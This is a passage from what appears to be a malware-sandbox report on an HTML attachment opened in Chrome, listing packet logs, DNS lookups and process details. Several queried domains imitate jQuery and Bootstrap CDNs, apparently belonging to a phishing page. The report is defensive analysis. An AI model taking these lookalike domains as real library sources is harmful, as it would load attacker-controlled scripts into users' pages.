                                        Nov 29, 2022 19:42:58.998867035 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.999003887 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.999106884 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.999147892 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.999186993 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.999198914 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.999214888 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.999273062 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:58.999309063 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.999785900 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:58.999859095 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:59.000046968 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:59.000085115 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:59.000143051 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:59.000614882 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:59.000731945 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:59.000802040 CET49700443192.168.2.3188.114.97.3
                                        Nov 29, 2022 19:42:59.000822067 CET44349700188.114.97.3192.168.2.3
                                        Nov 29, 2022 19:42:59.001523018 CET44349700188.114.97.3192.168.2.3

                                        UDP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Nov 29, 2022 19:42:57.079004049 CET4997753192.168.2.38.8.8.8
                                        Nov 29, 2022 19:42:57.080100060 CET5799053192.168.2.38.8.8.8
                                        Nov 29, 2022 19:42:57.097439051 CET53579908.8.8.8192.168.2.3
                                        Nov 29, 2022 19:42:57.106754065 CET53499778.8.8.8192.168.2.3
                                        Nov 29, 2022 19:42:57.405580997 CET5238753192.168.2.38.8.8.8
                                        Nov 29, 2022 19:42:57.430002928 CET53523878.8.8.8192.168.2.3
                                        Nov 29, 2022 19:42:59.325180054 CET4930253192.168.2.38.8.8.8
                                        Nov 29, 2022 19:42:59.327265978 CET5397553192.168.2.38.8.8.8
                                        Nov 29, 2022 19:42:59.327661037 CET5113953192.168.2.38.8.8.8
                                        Nov 29, 2022 19:42:59.329031944 CET5295553192.168.2.38.8.8.8
                                        Nov 29, 2022 19:42:59.346569061 CET53539758.8.8.8192.168.2.3
                                        Nov 29, 2022 19:42:59.346612930 CET53493028.8.8.8192.168.2.3
                                        Nov 29, 2022 19:42:59.356065989 CET53529558.8.8.8192.168.2.3
                                        Nov 29, 2022 19:42:59.586452007 CET53511398.8.8.8192.168.2.3
                                        Nov 29, 2022 19:42:59.957154036 CET6205053192.168.2.38.8.8.8
                                        Nov 29, 2022 19:42:59.974920988 CET53620508.8.8.8192.168.2.3
                                        Nov 29, 2022 19:43:01.359642982 CET5963653192.168.2.38.8.8.8
                                        Nov 29, 2022 19:43:01.390714884 CET53596368.8.8.8192.168.2.3
                                        Nov 29, 2022 19:43:05.093728065 CET6076753192.168.2.38.8.8.8
                                        Nov 29, 2022 19:43:05.126959085 CET53607678.8.8.8192.168.2.3
                                        Nov 29, 2022 19:43:06.103023052 CET5384853192.168.2.38.8.8.8
                                        Nov 29, 2022 19:43:06.105588913 CET5757153192.168.2.38.8.8.8
                                        Nov 29, 2022 19:43:06.126871109 CET53538488.8.8.8192.168.2.3
                                        Nov 29, 2022 19:43:07.601599932 CET5330553192.168.2.38.8.8.8
                                        Nov 29, 2022 19:43:07.624172926 CET53533058.8.8.8192.168.2.3
                                        Nov 29, 2022 19:44:00.019825935 CET6545953192.168.2.38.8.8.8
                                        Nov 29, 2022 19:44:00.045931101 CET53654598.8.8.8192.168.2.3

                                        DNS Queries

                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                        Nov 29, 2022 19:42:57.079004049 CET192.168.2.38.8.8.80x38ceStandard query (0)clients2.google.comA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:57.080100060 CET192.168.2.38.8.8.80xd69aStandard query (0)accounts.google.comA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:57.405580997 CET192.168.2.38.8.8.80x500aStandard query (0)descansonline.comA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.325180054 CET192.168.2.38.8.8.80xf87dStandard query (0)maxcdn.bootstrapcdn.cloudA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.327265978 CET192.168.2.38.8.8.80xb694Standard query (0)code.jquery.com.deA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.327661037 CET192.168.2.38.8.8.80x9852Standard query (0)code.jquery.questA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.329031944 CET192.168.2.38.8.8.80xb1a8Standard query (0)maxcdn.bootstrapcdn.restA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.957154036 CET192.168.2.38.8.8.80xd0aeStandard query (0)www.google.comA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:01.359642982 CET192.168.2.38.8.8.80x2837Standard query (0)i.postimg.ccA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:05.093728065 CET192.168.2.38.8.8.80x4aa5Standard query (0)i.postimg.ccA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.103023052 CET192.168.2.38.8.8.80x4cf5Standard query (0)logo.clearbit.comA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.105588913 CET192.168.2.38.8.8.80x4b81Standard query (0)aadcdn.msftauthimages.netA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:07.601599932 CET192.168.2.38.8.8.80x8ce8Standard query (0)logo.clearbit.comA (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:44:00.019825935 CET192.168.2.38.8.8.80xf4deStandard query (0)www.google.comA (IP address)IN (0x0001)false

                                        DNS Answers

                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                        Nov 29, 2022 19:42:57.097439051 CET8.8.8.8192.168.2.30xd69aNo error (0)accounts.google.com172.217.168.45A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:57.106754065 CET8.8.8.8192.168.2.30x38ceNo error (0)clients2.google.comclients.l.google.comCNAME (Canonical name)IN (0x0001)false
                                        Nov 29, 2022 19:42:57.106754065 CET8.8.8.8192.168.2.30x38ceNo error (0)clients.l.google.com142.250.203.110A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:57.430002928 CET8.8.8.8192.168.2.30x500aNo error (0)descansonline.com188.114.97.3A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:57.430002928 CET8.8.8.8192.168.2.30x500aNo error (0)descansonline.com188.114.96.3A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.346569061 CET8.8.8.8192.168.2.30xb694No error (0)code.jquery.com.de38.34.185.163A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.346612930 CET8.8.8.8192.168.2.30xf87dNo error (0)maxcdn.bootstrapcdn.cloud68.65.123.205A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.356065989 CET8.8.8.8192.168.2.30xb1a8No error (0)maxcdn.bootstrapcdn.rest104.21.40.223A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.356065989 CET8.8.8.8192.168.2.30xb1a8No error (0)maxcdn.bootstrapcdn.rest172.67.188.128A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.586452007 CET8.8.8.8192.168.2.30x9852No error (0)code.jquery.quest38.34.185.163A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:42:59.974920988 CET8.8.8.8192.168.2.30xd0aeNo error (0)www.google.com172.217.168.36A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:01.390714884 CET8.8.8.8192.168.2.30x2837No error (0)i.postimg.cc162.19.88.69A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:01.390714884 CET8.8.8.8192.168.2.30x2837No error (0)i.postimg.cc162.19.88.68A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:05.126959085 CET8.8.8.8192.168.2.30x4aa5No error (0)i.postimg.cc162.19.88.69A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:05.126959085 CET8.8.8.8192.168.2.30x4aa5No error (0)i.postimg.cc162.19.88.68A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.126871109 CET8.8.8.8192.168.2.30x4cf5No error (0)logo.clearbit.comd26p066pn2w0s0.cloudfront.netCNAME (Canonical name)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.126871109 CET8.8.8.8192.168.2.30x4cf5No error (0)d26p066pn2w0s0.cloudfront.net18.172.153.108A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.126871109 CET8.8.8.8192.168.2.30x4cf5No error (0)d26p066pn2w0s0.cloudfront.net18.172.153.55A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.126871109 CET8.8.8.8192.168.2.30x4cf5No error (0)d26p066pn2w0s0.cloudfront.net18.172.153.44A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.126871109 CET8.8.8.8192.168.2.30x4cf5No error (0)d26p066pn2w0s0.cloudfront.net18.172.153.7A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.130367994 CET8.8.8.8192.168.2.30x4b81No error (0)aadcdn.msftauthimages.netaadcdn-msft.azureedge.netCNAME (Canonical name)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.130367994 CET8.8.8.8192.168.2.30x4b81No error (0)dual.part-0032.t-0009.t-msedge.netglobal-entry-afdthirdparty-fallback.trafficmanager.netCNAME (Canonical name)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.130367994 CET8.8.8.8192.168.2.30x4b81No error (0)dual.part-0032.t-0009.fbs1-t-msedge.netpart-0032.t-0009.fbs1-t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.130367994 CET8.8.8.8192.168.2.30x4b81No error (0)part-0032.t-0009.fbs1-t-msedge.net13.107.219.60A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:06.130367994 CET8.8.8.8192.168.2.30x4b81No error (0)part-0032.t-0009.fbs1-t-msedge.net13.107.227.60A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:07.624172926 CET8.8.8.8192.168.2.30x8ce8No error (0)logo.clearbit.comd26p066pn2w0s0.cloudfront.netCNAME (Canonical name)IN (0x0001)false
                                        Nov 29, 2022 19:43:07.624172926 CET8.8.8.8192.168.2.30x8ce8No error (0)d26p066pn2w0s0.cloudfront.net18.172.153.7A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:07.624172926 CET8.8.8.8192.168.2.30x8ce8No error (0)d26p066pn2w0s0.cloudfront.net18.172.153.55A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:07.624172926 CET8.8.8.8192.168.2.30x8ce8No error (0)d26p066pn2w0s0.cloudfront.net18.172.153.108A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:43:07.624172926 CET8.8.8.8192.168.2.30x8ce8No error (0)d26p066pn2w0s0.cloudfront.net18.172.153.44A (IP address)IN (0x0001)false
                                        Nov 29, 2022 19:44:00.045931101 CET8.8.8.8192.168.2.30xf4deNo error (0)www.google.com172.217.168.36A (IP address)IN (0x0001)false

                                        HTTP Request Dependency Graph

                                        • clients2.google.com
                                        • accounts.google.com
                                        • descansonline.com
                                        • maxcdn.bootstrapcdn.rest
                                        • maxcdn.bootstrapcdn.cloud
                                        • code.jquery.com.de
                                        • code.jquery.quest
                                        • i.postimg.cc
                                        • logo.clearbit.com
                                        • aadcdn.msftauthimages.net

                                        Statistics

                                        Behavior

                                        Click to jump to process

                                        System Behavior

                                        General

                                        Target ID:0
                                        Start time:19:42:53
                                        Start date:29/11/2022
                                        Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
                                        Imagebase:0x7ff614650000
                                        File size:2851656 bytes
                                        MD5 hash:0FEC2748F363150DC54C1CAFFB1A9408
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:1
                                        Start time:19:42:54
                                        Start date:29/11/2022
                                        Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                        Wow64 process (32bit):false
                                        Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1828,i,10391032402710344752,2792419310114974632,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
                                        Imagebase:0x7ff614650000
                                        File size:2851656 bytes
                                        MD5 hash:0FEC2748F363150DC54C1CAFFB1A9408
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:2
                                        Start time:19:42:55
                                        Start date:29/11/2022
                                        Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\November Draw Disbursed.html
                                        Imagebase:0x7ff614650000
                                        File size:2851656 bytes
                                        MD5 hash:0FEC2748F363150DC54C1CAFFB1A9408
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        Disassembly

                                        ⊘No disassembly